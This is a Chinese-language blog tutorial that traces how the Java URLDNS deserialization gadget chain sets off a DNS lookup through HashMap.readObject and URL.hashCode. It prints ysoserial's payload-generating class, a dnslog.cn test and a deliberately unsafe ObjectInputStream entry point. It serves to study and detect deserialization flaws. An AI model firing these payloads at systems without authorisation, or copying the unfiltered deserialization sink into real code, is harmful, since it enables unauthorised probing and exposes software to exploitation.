URLDNS反序列化链分析

简介: URLDNS反序列化链分析

URLDNS是Java反序列化上最简单的一条链了,按实际效果来说它并不能被称为一条漏洞利用链,因为它不能执行命令,它的参数是一条URL,最终达到的效果是触发一次DNS请求。但是由于这条链没有依赖任何第三方的库,所以特别适合用来探测是否存在反序列化漏洞。

HashMap的put方法触发dns请求

我们先来看看如下这段代码

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNS_Test {
    public static void main(String[] args) throws MalformedURLException {
        HashMap<URL,Integer> map = new HashMap<URL,Integer>();
        URL url = new URL("http://oma19i.dnslog.cn");
        map.put(url,1);
    }
}

运行之后我们看看dnslog平台的请求情况

640.png

可以看到dnslog平台接收到dns请求,那么具体哪里触发了dns请求呢,我们可以来调试一下。640.png

跟进put方法

640.png

这里有个putVal方法,它是哈希表结构存储函数并不是我们关注的重点,可以看到putVal里面是调用了hash函数的,这里调用hash函数是HashMap为了保持传入的key唯一,所以需要对key做一个hash处理。那继续跟进hash方法

640.png

判断key是否为null,不为null则调用key.hashCode,再跟进key.hashCode

640.png

这里判断hashCode值是否为-1,假如等于-1的就直接返回hashCode,hashCode在如下位置赋值

640.png

所以if语句里的条件不成立,所以继续走到handler.hashCode,这里的handler是URLStreamHandler的一个实例(此处留意一下这个handler)

640.png

继续跟进handler.hashCode

640.png

发现会调用getHostAddress这个方法,继续跟进

640.png

发现调用getByName方法,也就是这个函数发送了dns请求

640.png搞明白了为什么会发生dns请求之后呢,再来分析分析URLDNS这条链

URLDNS链分析

先看看ysoserial生成的payload代码

public class URLDNS implements ObjectPayload<Object> {
        public Object getObject(final String url) throws Exception {
                //Avoid DNS resolution during payload creation
                //Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
                URLStreamHandler handler = new SilentURLStreamHandler();
                HashMap ht = new HashMap(); // HashMap that will contain the URL
                URL u = new URL(null, url, handler); // URL to use as the Key
                ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
                Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
                return ht;
        }
        public static void main(final String[] args) throws Exception {
                PayloadRunner.run(URLDNS.class, args);
        }
        /**
         * <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
         * DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
         * using the serialized object.</p>
         *
         * <b>Potential false negative:</b>
         * <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
         * second resolution.</p>
         */
        static class SilentURLStreamHandler extends URLStreamHandler {
                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }
                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }
}

可以看到它new了一个SilentURLStreamHandler

640.png

而SilentURLStreamHandler继承了URLStreamHandler然后重写了如下两个方法

640.png

还记得我们在分析使用put方法是会触发dns请求让留意了一下handler

640.png

前面说了handler是URLStreamHandler的一个实例,重写了URLStreamHandler里的openConnection方法和getHostAddress方法目的就是为了防止在生成payload的时候触发了dns请求。

至此为止,我们所有分析的代码都没有涉及到反序列化,那么利用反序列化去构造这条链呢。上面分析了那么久HashMap的put方法触发dns请求,那么今天的主角毋庸置疑也是HashMap这个类,反序列化会触发readObject方法,那么直接进入到HashMap的readObject方法。

  private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);
            @SuppressWarnings({"rawtypes","unchecked"})
                Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;
            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

在该方法的最后一行,见到了熟悉的一行代码

640.png

那么这条链不就跑通了吗,最后我们以漏洞利用的方式来重新捋一捋

首先我们利用ysoserial生成一个URLDNS的payload

640.png

然后创建一个反序列化入口

package ysoserial;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
public class URLDNS_Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        unserialize("dnstest.bin");
    }
    public static void unserialize(String Filename) throws IOException, ClassCastException, ClassNotFoundException {
        ObjectInputStream objectInputStream =new ObjectInputStream(new FileInputStream(Filename));
        Object obj = objectInputStream.readObject();
    }
}

然后在HashMap类的readObject方法如下代码处打上一个断点

640.png

然后进行调试,程序成功走到我们的断点处

640.png

跟进hash方法

640.png

跟进key.hashCode

640.png

跟进handler.hashCode

640.png

跟进getHostAddress

640.png

成功执行到getByName函数触发dns请求

640.png

利用链挖掘角度分析URLDNS链

如上的分析都是我们以一个漏洞分析者去正向的分析这条链子,那么以漏洞挖掘者的身份我们就要倒过来看这条链了,首先我们从getByName这个函数开始,这个函数可以触发dns请求,那么我们看看谁调用了这个函数,我么可以点击这个函数,然后用Ctrl+Alt+H来查看这个函数的调用关系

640.png

然后就是逐步去看这些函数,是否能构造反序列化链,构造需要我们要注意三个事情

1、参数可控
2、类可反序列化,继承了序列化接口
3、最终走到反序列化触发的readObject
640.png


目录
相关文章
|
6天前
|
存储 XML JSON
数据传输的艺术:深入探讨序列化与反序列化
数据传输的艺术:深入探讨序列化与反序列化
75 0
|
6天前
|
存储 C#
C#中的序列化和反序列化
C#中的序列化和反序列化
23 0
|
6天前
|
存储 Java 数据库
|
6天前
|
存储 安全 Java
Java一分钟之-Java序列化与反序列化
【5月更文挑战第14天】Java序列化用于将对象转换为字节流,便于存储和网络传输。实现`Serializable`接口使类可被序列化,但可能引发隐私泄露、版本兼容性和性能问题。要避免这些问题,可使用`transient`关键字、控制`serialVersionUID`及考虑使用安全的序列化库。示例代码展示了如何序列化和反序列化对象,强调了循环引用和未实现`Serializable`的错误。理解并妥善处理这些要点对优化代码至关重要。
15 1
|
6天前
|
JSON 安全 Java
Spring Boot 序列化、反序列化
本文介绍了Spring Boot中的序列化和反序列化。Java提供默认序列化机制,通过实现Serializable接口实现对象到字节流的转换。Spring Boot默认使用Jackson处理JSON,可通过注解和配置自定义规则。然而,序列化可能引发安全问题,建议使用白名单、数据校验和安全库。最佳实践包括使用标准机制、自定义规则及注意版本控制。文章还提醒关注性能并提供了相关参考资料。
68 2
|
6天前
|
XML 存储 JSON
c#XML、JSON的序列化和反序列化,看完你就懂了
c#XML、JSON的序列化和反序列化,看完你就懂了
29 0
|
6天前
|
JSON Java Linux
【探索Linux】P.30(序列化和反序列化 | JSON序列化库 [ C++ ] )
【探索Linux】P.30(序列化和反序列化 | JSON序列化库 [ C++ ] )
23 2
|
6天前
|
XML 存储 JSON
[计算机网络]---序列化和反序列化
[计算机网络]---序列化和反序列化
|
6天前
|
存储 JSON PHP
python序列化与反序列化
python序列化与反序列化
|
6天前
|
存储 Java 测试技术
滚雪球学Java(22):序列化和反序列化
【4月更文挑战第11天】🏆本文收录于「滚雪球学Java」专栏,专业攻坚指数级提升,希望能够助你一臂之力,帮你早日登顶实现财富自由🚀;同时,欢迎大家关注&&收藏&&订阅!持续更新中,up!up!up!!
35 1
滚雪球学Java(22):序列化和反序列化